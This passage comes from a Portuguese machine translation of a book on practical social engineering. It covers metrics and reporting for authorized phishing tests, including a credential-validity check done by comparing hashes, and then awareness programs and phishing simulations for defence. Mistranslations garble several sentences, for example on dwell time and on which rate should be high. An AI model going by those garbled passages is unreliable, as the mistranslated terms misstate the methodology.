tirar o site do ar e bloquear o link (fazendo alterações nas configurações de DNS internas

124 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

para redirecionar os usuários para um local seguro quando clicarem nele). Um valor alto de
distância de denúncia aberta pode indicar que muitas pessoas abriram o e-mail antes de ela ser
denunciada, o que também dá menos tempo para a equipe de segurança agir, devido à
probabilidade de alguém clicar em um link e não denunciar, já que muitas pessoas já
demonstraram.
A taxa de relatórios abertos mede o envolvimento dos usuários em termos de
relatórios. Dos usuários que abriram o e-mail, quantos relataram à equipe de segurança? Essa
métrica indica se existe um relacionamento colaborativo entre os usuários e a equipe de
segurança. Ele também fala sobre a capacidade dos usuários de reconhecer uma tentativa de
phishing.

O número de cliques
O número de cliques no link do e-mail é uma das métricas mais influentes. Os cliques podem
levar a infecções por malware, uploads de arquivos ou vazamento de informações confidenciais,
como senhas, por meio de formulários falsos. Ainda assim, embora seja mais importante que a
abertura, essa métrica não é a mais importante.
Combinar cliques com outros dados, como a hora do primeiro clique
para o primeiro relatório ou medir as métricas de informações click-to-report e click-to-
input são muito mais valiosas. Isso porque é importante entender o quão bem uma
organização pode responder aos cliques, e não apenas se os usuários clicariam.

Embora seja verdade que os usuários não devam clicar nesses links para começar, é
mais uma vez responsabilidade da equipe de segurança protegê-los se o fizerem. A
administração do correio, as equipes de segurança da informação e os usuários devem
colaborar para que, se um link for clicado, o sistema proteja o usuário. A responsabilidade de
proteger a organização não deve recair totalmente sobre o usuário não treinado e não técnico.

Métricas úteis que envolvem cliques incluem o seguinte:

Distância do relatório do clique O tempo do primeiro relatório menos o tempo do


primeiro clique

Proporção de relatório de cliques O número de vezes relatado dividido pelo número


de cliques

Proporção de entrada O número de vezes que as informações são inseridas (para um


formulário, por exemplo) dividido pelo número de cliques
Proporção do relatório de entrada O número de vezes que as informações são inseridas
dividido pelo número de relatórios

Assim como a distância do relatório aberto, a distância do relatório de cliques mede o tempo
entre o clique no primeiro e-mail e o momento em que ele é relatado à equipe de segurança.
Essa métrica mais uma vez indica a quantidade de tempo que a equipe de segurança tem para
mitigar o impacto do phishing. Além disso, assim como a taxa de relatórios abertos, a taxa de
relatórios de cliques mede o envolvimento dos usuários em termos de relatórios.

Considere a discrepância entre relatórios de cliques e relatórios abertos.


Idealmente, ter uma taxa de relatórios abertos mais alta é mais benéfico para a organização,
pois fornece alertas para a equipe de segurança mais cedo e oferece uma oportunidade maior
de agir. Idealmente, as organizações teriam um alto

Detecção, Medição e Relatórios 125


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

taxa de relatórios abertos e um conjunto de dados mínimo para medir os relatórios de cliques.
Ter uma taxa de relatórios de cliques maior do que a taxa de relatórios abertos, ou taxas iguais,
indica que as pessoas estão abrindo os e-mails e clicando antes de relatar.

A taxa de entrada mede o número de pessoas, daqueles que clicaram


o link enviado por e-mail, que inseriu informações no site vinculado.
Da mesma forma, a taxa de relatório de entrada compara o número de vezes que as
informações foram inseridas com o número de vezes que foram relatadas à equipe de
segurança. Em um mundo perfeito, teríamos uma taxa de entrada de 0 (visto que 0 dividido
por qualquer coisa é 0). Isso indicaria que ninguém inseriu nenhuma informação, apesar de
abrir o e-mail e clicar em um link.
Caso contrário, desejaríamos uma taxa de entrada alta. Isso indica que as pessoas
percebem quando cometem erros e se sentem à vontade para assumir isso com a equipe de
segurança. É melhor um usuário relatar clicando em um link sem medo de punição do que o
usuário ficar em silêncio enquanto as ações maliciosas ocorrem. É mais fácil para os profissionais
de segurança se defender de algo que eles sabem que existe do que ser pego de surpresa por
algo evitável.

Entrada de informações em formulários

A natureza das informações que os usuários inserem nos formulários é outra das métricas mais
críticas. Os usuários podem inserir senhas, endereços de e-mail e outras informações
confidenciais neste formulário e, sem um robusto Centro de Operações de Segurança
monitorando ativamente os sistemas dos usuários, as atividades na Internet e as atividades da
Internet pública, a organização não saberia. Ao relatar essa métrica, evite compartilhar as
senhas ou dados reais coletados no relatório. Se você precisar compartilhar as informações,
tente fornecer apenas uma lista de usuários que devem redefinir suas senhas; também, é melhor
fazê-lo fora do relatório formal.

Métricas úteis usando informações de entrada incluem o seguinte:

Proporção de entrada O número de vezes que as informações são inseridas dividido


pelo número de cliques

Proporção do relatório de entrada O número de vezes que as informações são inseridas


dividido pelo número de relatórios
Taxa de validade O número de entradas de credenciais válidas dividido pelo número
de entradas de credenciais
Proporção comprometida O número de usuários com dados em Have I Been
Pwned quem inseriu informações dividido pelo número de usuários que inseriram
informações

Calcular a taxa de validade exige que você conheça os hashes dos usuários
credenciais reais. Se a equipe de segurança do cliente estiver disposta a fornecer os
hashes para as senhas de seus usuários, você pode fazer o hash das informações inseridas
no formulário usando o mesmo algoritmo de hash e, em seguida, comparar os dois hashes
para ver se os usuários inserem informações válidas. Isso pode dizer o número de pessoas que
colocaram informações legítimas no site de phishing versus quantas pessoas não o fizeram, seja
por engano ou trollagem.

126 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Se a organização realizar ações de phishing nos funcionários


com muita frequência ou vincular seu desempenho em tais compromissos a avaliações de
desempenho, os funcionários às vezes inserem informações falsas ou até mesmo
informações de outros funcionários. Embora não devamos encorajar os funcionários a
inserir nada, ensiná-los a inserir informações falsas pode beneficiar a organização de duas
maneiras: se a organização definir um conjunto padrão de informações falsas (endereço
de e-mail, nome, número de telefone, senha), o Security O Operations Center pode
monitorar seu uso, os funcionários podem testar para ver se o site aceita informações
falsas e a organização pode aproveitar essas informações (se vazarem) para identificar
atores que tentam usá-las para obter acesso não autorizado. Não confirmar a validade das
informações pode distorcer a análise estatística e os resultados do seu relatório, fazendo
com que a organização pareça ter um desempenho pior do que realmente teve.

Calcular a proporção comprometida requer um pouco de OSINT. esta métrica


é útil, no entanto, porque reconhece a influência dos ataques de engenharia social no
comportamento do usuário além do escopo daquele que está sendo executado. Usando
os endereços de e-mail do trabalho das vítimas, veja quantos estão listados no banco de
dados Have I Been Pwned (apresentado no Capítulo 6). Compare isso com o número de
usuários que inserem informações. Se você encontrar usuários no banco de dados,
dependendo de qual violação eles fizeram parte, você pode querer incorporar o uso aceitável
de e-mails da empresa em seu programa de conscientização e estabelecer uma política
firme para evitar ocorrências futuras.
Encontrar funcionários no banco de dados indica que eles podem se comportar de maneira
arriscada online e representar um risco para a organização.
Essa métrica provavelmente sempre conterá informações tendenciosas, distorcendo
assim o resultado. Algumas pessoas usarão seu endereço de e-mail de trabalho para tudo e
não serão pegas ou violadas, daí a distorção e o viés.
As pessoas costumam usar as mesmas senhas em casa e no trabalho. A menos que
você avalie todas as violações de senha em que o usuário esteve, os números estarão
errados. O empregador de uma pessoa não pode solicitar inquérito sobre bens pessoais sem
o consentimento dos funcionários na maioria das situações. Não me sinto à vontade para
pedir esse consentimento, mas se você tivesse o consentimento do funcionário para
pesquisar os bancos de dados de violação de suas contas pessoais, poderia remover a
maior parte do viés dessa métrica, pois teria a capacidade de medir sua postura de segurança
holística.

Ações tomadas pela vítima


As ações tomadas pela vítima podem incluir abrir o e-mail, excluir o e-mail, encaminhá-lo
para pessoal não técnico ou não relacionado à segurança, encaminhá-lo para a segurança,
clicar em links no e-mail, inserir informações ou denunciá-lo (seja após ser vítima ou não ). É
fundamental entender o que o usuário faz após ser vítima. Eles denunciam à gerência, tentam
encobrir ou não fazem nada? A inclusão dessas informações no relatório exigirá informações
do cliente, mas essas informações geralmente não são difíceis de obter. Na minha experiência,
recebi quando simplesmente pedi.

Detecção, Medição e Relatórios 127


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Tempo de Detecção

Quanto tempo leva para a equipe de segurança da organização descobrir que


ocorreu uma tentativa de phishing? A organização foi informada a partir de
relatórios de usuários, um aplicativo ou serviço de e-mail ou o sistema SEIM? O
tempo que leva para detectar o evento mostra a maturidade da organização e seus
recursos de segurança da informação. Quanto mais tempo, e se a detecção ocorrer,
é indicativo de quão catastrófico um ataque pode ser.
Dependendo do relatório que você lê e dos motivos do editor, pense
o tempo (a quantidade de tempo que um invasor pode executar ações em um
ambiente sem despertar detecção ou outras medidas atenuantes) varia de dias a
anos. Tempos de permanência mais baixos significam menos tempo para um invasor
estabelecer uma fortaleza, criar resultados adversos para a organização ou gerar
publicidade negativa.
Discutimos métricas e comparações úteis para medir detecção
tempo de estudo nas outras seções deste capítulo, então não vamos repeti-los
aqui.

A pontualidade das ações corretivas


Com que rapidez a organização executa uma ação corretiva? Quanto mais
rápido, melhor. Essa métrica indica a resiliência dos recursos de resposta a
incidentes da organização. As seguintes medições podem ajudar a determinar o
quão bem uma equipe de resposta a incidentes pode reagir a um incidente:

Distância corretiva aberta O tempo em que a ação corretiva ocorre menos o


tempo da primeira abertura
Distância corretiva do clique O tempo em que a ação corretiva ocorre menos o tempo do
primeiro clique

As distâncias corretivas de abertura e clique são medidas do tempo


do primeiro abrir ou clicar - dependendo do que for apropriado, dado o contexto
- até que uma ação corretiva ocorra. As ações corretivas incluem afundar o link,
bloquear o remetente, iniciar a remoção do site e informar os usuários sobre o
ataque, entre outros. Essas métricas não dizem nada sobre se as ações tomadas
foram adequadas (essa é a próxima métrica). Mais uma vez, eles estão
preocupados com o tempo de resposta da organização. Tomar as ações corretas
é importante, mas as ações não significam nada se não forem feitas em tempo hábil.

O sucesso das ações corretivas


Tão crítico quanto a pontualidade das ações corretivas é o sucesso de tais
esforços. Se os passos pararem o ataque, perfeito. Em alguns casos, porém, a
ação corretiva pode aprimorar o ataque e fazê-lo funcionar em benefício do
atacante.
Em um de meus compromissos, fui bloqueado após enviar cerca de 50%
dos meus e-mails. Eu os enviava em lotes de 7 a 15 pessoas por vez.
Apenas cerca de 20% dos destinatários clicaram no meu link e apenas 6% inseriram
qualquer informação. Eu pensei que estava frito.

128 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Na manhã seguinte, entrei no meu sistema para ver que 42% dos
a organização tinha informações de entrada; algumas pessoas até o fizeram duas
vezes ou mais. Por quê isso aconteceu? O administrador de rede que me bloqueou
encaminhou o e-mail para toda a organização sem bloquear ou afundar o link no e-mail.
Eles criaram uma espécie de efeito Streisand ; ao tentar alertar as pessoas sobre o e-
mail, eles expuseram mais pessoas a ele, e a curiosidade matou os gatos.

Classificações de risco

Quantificar o risco não é fácil, mas é importante, porque o relatório que você envia
ao seu cliente deve organizar suas descobertas com base na gravidade.
Várias metodologias podem ser usadas para classificar e quantificar o risco, tanto
qualitativamente (usando rótulos subjetivos como Crítico, Alto, Médio, Baixo e
Informativo) quanto quantitativamente (como em uma escala de 0 a 10). A Metodologia
de Classificação de Risco OWASP e o Sistema de Pontuação de Vulnerabilidade
Comum (CVSS) são duas dessas metodologias.
A menos que seu empregador ou cliente queira uma pontuação de risco
quantitativa, recomendo ficar com a qualitativa. Tentar realizar análises quantitativas
requer que todos os pontos de dados estejam em formato numérico, e realizar traduções
para alguns pontos de dados cria mais complexidade e complicações do que o
necessário. A maioria de nossas métricas é de natureza quantitativa, mas não podemos
traduzir facilmente as ações em valores numéricos. Por exemplo, encaminhar um e-mail
não está relacionado à exclusão de um e-mail. Se atribuirmos um valor numérico a
essas tarefas, implicamos a existência de uma relação entre elas, que não existe. Ao
determinar a gravidade do risco, considere a probabilidade e o impacto do incidente e,
em seguida, equilibre esses dois fatores para obter uma classificação única.

Em seguida, defina o que deve contar como Crítico, Alto, Médio, Baixo e
Informativo. A seguir estão as definições padronizadas que você pode usar em seu
relatório como achar melhor:
Crítico

Esses são os riscos que podem causar danos catastróficos, tempos de inatividade
prolongados ou o fim de todas as operações. Eles são imediatamente e facilmente
exploráveis. Eles geralmente são voltados para o público e têm impactos
significativos na capacidade de uma organização de fazer negócios. Eles também
podem ameaçar a vida humana. No caso da segurança da informação, isso também
pode incluir uma violação de dados regulamentados ou confidenciais, como
informações de identificação pessoal (PII) ou informações de saúde protegidas
(PHI), que foi o que ocorreu no Equifax, Escritório de Administração de Pessoal dos
EUA ( OPM), ou outras violações da mesma magnitude.

Alto

Esses riscos podem causar paralisações dispendiosas ou graves, danos ou


interrupção das operações. A barreira à entrada para exploração e impacto é baixa.
Eles têm um alto impacto e podem envolver dados sensíveis ou dados
regulamentados, embora em quantidades menores que os riscos Críticos.

Detecção, Medição e Relatórios 129


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Médio

Esses itens podem causar interrupções ou problemas na organização do cliente, mas


sem grandes interrupções. Eles podem envolver o acesso a sistemas que podem ser
usados para girar para outros sistemas ou instalações. Isso pode envolver dados não
públicos que não são particularmente confidenciais.

Baixo

Esses itens representam pouco risco para o cliente. Eles podem ter dependências
marginais, como acesso físico local, ou exigir que outro vetor de exploração já tenha sido
realizado. Esses riscos envolvem interrupção mínima se forem bem-sucedidos.

Informativo

Estes não representam nenhum risco atual, mas não aderem às melhores práticas ou podem se
tornar arriscados mais tarde.

Comunicando

Esta seção irá guiá-lo através da escrita do relatório de entrega para o seu cliente. Embora
não seja tão empolgante quanto o engajamento em si, o relatório é o que os clientes pagam
para você receber. Dito isso, torná-lo útil é um desafio. A verdade é que alguns clientes lerão
o relatório com atenção, enquanto outros o arquivarão para fins de conformidade sem olhar
para ele. Se as pessoas não lerem o relatório, como poderão corrigir os resultados? Esta
seção responde a essa pergunta analisando dois ângulos: o relatório de entrega que o cliente
deve ler e as situações que garantem que você pare o que está fazendo e ligue para o cliente.

Saber quando fazer uma chamada telefônica

O relatório não é sua única ferramenta para se comunicar com seu cliente. Ligue para o cliente
sempre que a vida humana ou os recursos críticos de computação estiverem em perigo.
Por exemplo, se você descobrir um ator mal-intencionado na rede do cliente ou outra condição
desagradável que possa ser sensível ao tempo, alerte o cliente imediatamente.
Para tudo o mais envolvido com o envolvimento e atividades associadas, sinta-se à
vontade para fornecer atualizações breves e incrementais por e-mail ou telefone, mas
certifique-se de esclarecer que nenhuma das informações nessas comunicações informais é
oficial. Não fazer isso pode levá-lo ao tribunal se uma atualização que você fornecer contradizer
as informações em seu relatório. O relatório deve ser a principal e, idealmente, única
comunicação oficial entre você e o cliente após a conclusão do processo de venda.

Escrevendo o relatório

Aconselho você a escrever o relatório à medida que avança, para não perder detalhes ou ter
que vasculhar as anotações para cobrir tudo. Emprestando alguma filosofia

130 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

de Chris Sanders, autor de Practical Packet Analysis (No Starch Press, 2017), seu relatório
deve ser claro e conciso, mas também deve contar uma história.
Usando a narrativa, você pode envolver os leitores de forma mais eficaz para encorajar—
talvez até mesmo transformá-los em engenharia social - para ler o relatório na íntegra.
O que quero dizer com contar histórias? Explique os passos que você deu e por que eles
foram importantes. Faça parecer que você estava agindo como um verdadeiro ator malicioso.
Fale sobre o que você viu, sua análise e os resultados. Para ajudá-lo a envolver os leitores, use a
voz ativa em vez da voz passiva. Por exemplo, os consultores enumeraram com sucesso que o site
está em voz ativa. A enumeração do site foi determinada como possível por voz passiva.

Dependendo se você é autônomo ou trabalha para uma empresa, esse tempo pode ser
cobrado a uma taxa faturável menor do que o próprio contrato ou pode ser não faturável. Não
use todo o tempo alocado apenas para usá-lo. Use apenas o necessário. Esse tempo também
deve ser contabilizado para revisões de documentos (como por editores, equipes jurídicas ou
garantia de qualidade).

Estruturando o Relatório

Para começar, pegue o modelo de sua escolha - o de seu empregador, um do Apêndice B, um da


Internet ou um que você faça do zero. Para os fins deste capítulo, examinaremos o modelo
encontrado na página XX.
Na seção de histórico, explique os parâmetros que limitam o teste e os motivos pelos quais o
teste foi realizado. Inclua o palavreado do escopo definido do compromisso e a declaração de
trabalho nesta seção para que você especifique claramente as regras que lhe foram fornecidas e
os parâmetros dentro dos quais se espera que você opere. Esta seção não deve ter mais de uma
página, de preferência apenas um ou dois parágrafos.

Em seguida, vem o sumário executivo, ou na linguagem moderna da internet, o muito


longo; não leu a parte (TL;DR) do relatório. Use esta seção para fornecer uma visão geral de alto
nível do que você fez, o que encontrou e como avalia isso.
Você também pode adicionar conselhos gerais de correção. Não entre em detalhes aqui, pois
você deve presumir que o público desta seção não é técnico e quer pouco mais do que um
discurso de elevador.
Após o resumo executivo, inclua uma seção descrevendo suas principais descobertas. É
aqui que você deve definir os principais problemas que devem preocupar o cliente. Usando um
sistema de classificação de risco, como o descrito em “Classificações de risco” na página XX,
determine quais descobertas merecem uma classificação de risco crítico ou alto e inclua apenas
essas. (Todas as outras descobertas pertencem a uma seção genérica de “Descobertas” mais
adiante no documento.) Para cada descoberta séria, explique qual é a descoberta, como ela pode
ser explorada, quais são os possíveis resultados, como testá-la independentemente e como para
remediá-lo. Faça o possível para transmitir a gravidade dessas descobertas ao seu público. Ao falar
com executivos, achei útil descrever um risco delineando consequências negativas específicas,
como terminar na primeira página do New York Times ou no tribunal, sendo acusado de negligência.
Detalhes específicos como esses podem ajudar a chamar a atenção dos executivos.

A próxima seção deve detalhar o OSINT que você encontrou. Para cada informação, inclua a
saída da ferramenta que você usou ou uma captura de tela de

Detecção, Medição e Relatórios 131


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

a informação para servir de prova. Se os dados estiverem disponíveis na Internet pública,


você também pode fornecer um link. Sem a saída, capturas de tela ou links, os clientes
não têm como validar se as informações fornecidas são factuais.

Se suas capturas de tela incluírem informações confidenciais, incriminatórias ou


outras informações prejudiciais, você pode considerar criptografar o documento ao enviá-
lo ao cliente. Também trabalhei com clientes que não aceitariam nenhum relatório
digitalmente. Eles exigiram que o relatório fosse enviado pelo correio, para evitar a
descoberta eletrônica se qualquer coisa associada ao relatório acabasse no tribunal.
Embora você não precise rotular os riscos nesta seção, porque se eles forem significativos
o suficiente para serem considerados uma descoberta, eles serão listados e rotulados na
seção de descobertas, coloque riscos críticos e de alto nível em negrito para chamar a atenção para eles.
Após a seção OSINT vem a seção de engenharia social, que
descreve seu envolvimento real. Se você executou vários tipos de engenharia social,
use subtítulos para dividir esta seção em cada tipo de envolvimento: phishing, vishing
e teste no local. Se você estiver fazendo um envolvimento híbrido, o que significa que seu
phishing e vishing estão vinculados, coloque-os na subseção “Híbrido”. Dentro de cada
subseção, explique cada pretexto usado. Discuta o que você fez e os resultados. Em
seguida, use as métricas descritas em “Medição” na página XX para ajudar a explicar o
impacto dos resultados. Se você já trabalhou com o cliente, também pode comparar as
descobertas desse contrato com o contrato anterior para que o cliente possa ver seu
progresso.

Insira a totalidade de suas descobertas na próxima seção. Este é o lugar para ser
detalhado. Explique o problema, como você o encontrou, artefatos de sua localização,
referências explicando por que é um problema, como corrigi-lo totalmente e possíveis
atenuações se a correção completa não for uma opção. Esta seção reiterará o conteúdo
das seções de resumo executivo e conclusões. É aqui que você explica de forma coesa,
em formato de parágrafo (embora listas ocasionais possam ser úteis para destilar
informações) como corrigir os problemas que você descobriu. Em seguida, termine com a
seção de remediação e recomendações.
Defender treinamento, soluções técnicas ou outras mudanças culturais. A Parte 3 deste
livro discute essas proteções.
Tenha em mente que você está apenas recomendando. Você não tem autoridade
para exigir qualquer alteração, e o cliente pode ou não resolver o problema.
Embora você possa ter um senso de propriedade do projeto, em última análise, não é
problema seu se eles optarem por não seguir seu conselho.

Garantindo verbosidade e
precisão Recomendo que várias pessoas, sob acordos de confidencialidade (NDAs),
revisem o relatório antes de entregá-lo aos clientes. Uma pessoa deve revisar todos
os aspectos técnicos do relatório quanto à precisão, enquanto outra pessoa deve
revisá-lo quanto à gramática, mecânica e prosa. Seus revisores também devem avaliar
a verbosidade do relatório para garantir que seja detalhado o suficiente para transmitir
os pontos de forma adequada, mas não excessivamente prolixo. Como Frances Saux,
editora deste livro, pode atestar, isso é algo com o qual luto. Muitos engenheiros sociais o
fazem. E como meu editor Bill Pollock apontou

132 Capítulo 9
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Fora, os engenheiros sociais confiam em sua capacidade de falar como um ponto forte.
Ao trabalhar com pessoas não técnicas e não relacionadas à segurança, essa força
se torna uma falha.

Conclusão
O relatório não é o aspecto mais divertido da engenharia social ou da coleção OSINT,
mas é um dos aspectos mais importantes. Faça o possível para transmitir à gerência não
apenas o que você realizou, mas também como os funcionários se saíram contra você,
juntamente com conselhos práticos para melhorar.
As métricas que você mede e a maneira como você as mede influenciarão
os processos de tomada de decisão de seu cliente e o sucesso geral de seus negócios.
Fornecer dados mal explicados ou distorcidos pode embaraçar o cliente, ou pior, colocá-lo
em problemas legais e você com um (ou mais) clientes a menos.

Lembre-se de que seu relatório geralmente é a única coisa que a equipe de


gerenciamento de seu cliente vê de seu envolvimento. Eles não verão como você é bom
em phishing ou vishing e, mesmo que o fizessem, provavelmente não ficariam tão
impressionados com isso quanto seus colegas do setor de segurança. O que os impressionará
é um relatório profissional, escrito em termos que possam entender, com conselhos que
possam implementar.

Detecção, Medição e Relatórios 133


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

PARTE III
DEFENDENDO-SE CONTRA
ENGENHARIA SOCIAL
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

10
DEFESA PROATIVA
TÉCNICAS
Se você disser a verdade, não precisa se lembrar de nada.
—Mark Twain

Agora que abordamos os fundamentos

de engenharia social e coleção OSINT, é hora de


falar sobre como uma organização pode minimizar o
impacto desses ataques
ou mesmo impedi-los completamente. Embora você raramente
consiga parar todos os ataques, você pode tomar medidas para reduzir
a taxa de sucesso de um ataque e diminuir seu dano se for bem-
sucedido.
Este capítulo aborda três dessas técnicas: programas de conscientização,
monitoramento de reputação e resposta a incidentes. Discutiremos os elementos de um
programa de conscientização bem-sucedido, explicaremos como implementar
monitoramento OSINT e controles técnicos de e-mail, fornecer integração com resposta
a incidentes e, finalmente, produzir inteligência de ameaças.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Programas de conscientização
Os programas de conscientização são iniciativas da empresa projetadas para fornecer
orientação aos usuários em situações em que eles encontram - ou, infelizmente, são vítimas
de - um ataque de engenharia social. Esses programas são essenciais porque expõem os
usuários, que provavelmente já estão recebendo e-mails de phishing, a táticas que invasores mal-
intencionados podem usar sem o potencial resultado negativo.
Uma abordagem para conduzir esses treinamentos é ensinar os usuários sobre
tendências comuns na indústria de segurança. Oferecer esse tipo de conselho geral
raramente é suficiente. Espero que os capítulos anteriores deste livro tenham ajudado você a
entender que as diretrizes de segurança tradicionais – como procurar o cadeado verde na
barra de endereço do navegador da Web, prestar atenção à ortografia e à gramática em e-
mails e verificar os endereços dos links – não são mais suficientes. para evitar ataques de
phishing. Claro, alguns invasores ainda cometem esses erros. Mas os sofisticados capazes de
causar danos catastróficos a uma organização não são.

Uma abordagem melhor é informar os usuários sobre os problemas específicos que a


organização enfrenta como resultado do phishing. Por exemplo, se a organização está
enfrentando, digamos, um fluxo de e-mails do Nigerian Prince ou uma campanha agressiva de
comprometimento por e-mail comercial que falsifica o CFO, informar os detalhes aos usuários os
equipará melhor para resistir a esses ataques. É provável que os usuários encontrem um desses
ataques específicos, portanto, devem saber como procurá-los.

Como e quando treinar


Embora o treinamento deva ocorrer com frequência para manter os usuários informados sobre
as tendências atuais, você também não deve prejudicar as funções atribuídas a eles. Oferecer
atividades de conscientização com frequência suficiente para que os usuários retenham as
lições sem se tornar um incômodo é um equilíbrio delicado. Eu recomendo fornecer treinamento
pelo menos trimestralmente. Embora os treinamentos mensais proporcionem mais segurança,
eles podem ser incômodos tanto para os usuários quanto para os gestores do programa.
Durante este evento de educação periódica, você deve fornecer exemplos de
e-mails de phishing que a organização recebeu desde o último treinamento. Se sua
organização realizou algum teste, você também pode distribuir estatísticas como as discutidas
no Capítulo 9. Mais importante, você deve informar aos usuários as etapas que devem seguir se
receberem um e-mail de phishing e as etapas que devem seguir se forem vítimas.

Ao discutir os exemplos de e-mails de phishing, aponte quaisquer pistas que indiquem


que os e-mails são falsos. Faça isso do ponto de vista lógico, de linguagem e técnico. Chame
a atenção para quaisquer solicitações que violem os procedimentos operacionais padrão ou o
motivo. Por exemplo, levante a questão de por que o CFO de férias na Tailândia precisa que
você libere $ 45 milhões, envie para uma conta do PayPal e, em seguida, envie uma mensagem
de texto para um número em Belize. Aponte os erros gramaticais, que podem incluir frases-chave
ausentes, convenções de ortografia diferentes (como organizar nos Estados Unidos em vez de
organizar em outras partes do mundo) ou usar o termo errado para funcionários (associado do
Walmart e membro do elenco de Disney). Ensine os usuários a passar o mouse sobre os links
para ver a página para a qual o e-mail está tentando enviá-los. Incentive-os a encaminhar e-mails
suspeitos para a equipe de segurança. Desencoraje-os de encaminhar

138 Capítulo 10
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

correntes ou responder a e-mails suspeitos sem primeiro falar com a equipe de segurança.

Em um tipo de programa de sucesso, “Pensamento de Segurança do Mês”


treinamento, a equipe de segurança discute um conceito relacionado à engenharia
social, ou qualquer tópico relevante para segurança, nesse caso, por sessão. Esses
conceitos podem coincidir com compromissos anteriores ou futuros. Eles também podem
complementar eventos atuais. Por exemplo, nos Estados Unidos, os empregadores fornecem
aos funcionários formulários de impostos em janeiro, permitindo que eles cumpram o prazo
de declaração de impostos de 15 de abril. Coincidentemente, muitas tentativas bem-
sucedidas de phishing W-2 ocorrem nas primeiras semanas de janeiro. Da mesma forma,
setembro ou outubro tendem a ser os melhores meses para falar sobre roubo de identidade
e e-commerce, porque acontecem logo antes da temporada de compras natalinas.

Políticas não punitivas


Uma das principais razões pelas quais as pessoas não relatam terem sido vítimas de e-
mails de phishing - seja um clique, um download ou informações inseridas em um
formulário da Web - é que elas ficam envergonhadas por terem feito isso ou temem por
seu trabalho. Mas uma tentativa de phishing bem-sucedida não relatada pode causar um
tempo de inatividade significativo ou, se a organização for vítima de ransomware, a compra
de Bitcoin ou cartões-presente da Apple para desbloqueá-lo.
Os funcionários devem saber que é aceitável relatar que caíram
vítima de um ataque de engenharia social. Embora isso possa significar que eles
devem concluir um treinamento adicional, eles não deveriam ter que atualizar seus
currículos como resultado. Muitas firmas de engenharia social colocam disposições nos
contratos que assinam com seus clientes que impedem que funcionários sejam demitidos
como resultado do teste. (Pelo que sei, esta linguagem não foi testada em tribunal.) Não
participei pessoalmente de nenhum litígio relacionado a tal disposição, nem estou
intimamente ciente de alguém que tenha. Consulte seu advogado antes de tentar decretar
isso em qualquer contrato.
Em casos raros, os funcionários podem precisar ser demitidos porque não
conseguem entender o conceito de conscientização de segurança. Isso ocorre se o
funcionário se torna um passivo maior do que um ativo. Ainda assim, rescindir o contrato
de um funcionário deve ser o último recurso. Comece esgotando todas as tentativas de
treinar o funcionário, inclusive indo além dos programas típicos de conscientização. Tente
também implementar controles técnicos adicionais.

Incentivos ao Bom Comportamento

Embora não seja do seu interesse punir os erros das pessoas, é útil reforçar o bom
comportamento. Mais uma vez, no entanto, fazê-lo corretamente é um equilíbrio delicado.
A razão pela qual é delicado é que, ocasionalmente, as pessoas tentam burlar o sistema.

Para fornecer um exemplo de como a oferta de incentivos pode dar errado, considere
o que aconteceu com a Wells Fargo em 2016. Entre 2009 e 2015, a Wells Fargo estabeleceu
metas de vendas irrealistas para sua equipe. Mais tarde, o banco descobriu que essas
metas haviam incentivado 5.300 funcionários a criar contas falsas no Wells Fargo, em alguns
casos para familiares e amigos, mas em outros casos para estranhos. A administração
descobriu isso quando os estranhos começaram a cobrar taxas.

Técnicas de Defesa Proativa 139


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Para evitar que os funcionários joguem com o sistema, evite oferecer incentivos
para relatar a maioria das tentativas de phishing. Esses incentivos incentivariam os funcionários
mais velhos a colocar seus e-mails em listas de phishing, criando mais trabalho para a equipe de
segurança. Em vez disso, você pode incentivar relatórios inteligentes ou exclusivos
e-mails de phishing, passando todas as simulações de phishing ou relatando-as, ou algo nesse
sentido. A ideia é recompensar relatórios em geral, especialmente de tentativas de phishing
inteligentes ou exclusivas, em vez de recompensar a maior quantidade de relatórios. Se uma
organização basear as recompensas na quantidade e os funcionários propositadamente entrarem em
listas de phishing, eventualmente pode aparecer uma que pareça real e os usuários sejam vítimas;
enquanto isso, a equipe de segurança está ocupada analisando todos os outros e-mails encaminhados.

Aqui estão alguns prêmios gratuitos ou de baixo custo que você pode oferecer:

• Ganhar 15 minutos de desconto por relatar um phishing exclusivo ou generalizado


o email

• Um vale-presente de US$ 10 da Amazon ou Starbucks

• Uma vaga de estacionamento por uma semana

• Entrada em um sorteio para um grande prêmio


• Almoço grátis por uma semana

Fornecer qualquer coisa de valor percebido aos funcionários para fazer um bom
trabalho ajudará a reforçar o bom comportamento que você procura. Isso é um pouco de engenharia
social em si, mas visa trazer resultados positivos para os funcionários e para a organização.

Executando campanhas de phishing

Embora controversa, a execução de campanhas de phishing como parte de seus esforços de


treinamento pode expor seus funcionários de forma confiável a tentativas realistas de phishing e permitir
que você teste a resposta da organização como um todo.
A primeira decisão que você deve tomar depois de decidir simular uma campanha de phishing
é conduzir os engajamentos internamente ou contratar um terceiro para fazê-lo. Para escolher a
melhor opção para sua empresa, pergunte-se com que frequência planeja executar esses
compromissos e qual é o seu orçamento. Se terceirizados, os engajamentos de phishing podem levar
de 4 a 24 horas de trabalho faturável por engajamento, dependendo do SOW, escopo e complexidade
que você deseja. Se preferir testar internamente, você deve descobrir quem conduzirá o compromisso,
quais são suas outras funções e qual o impacto em sua postura de segurança que o tempo ausente
apresentará. Se você tiver orçamento para comprar um serviço de simulação de phishing de uma
empresa que não seja de consultoria, como Proofpoint, Cofense ou KnowBe4, também poderá seguir
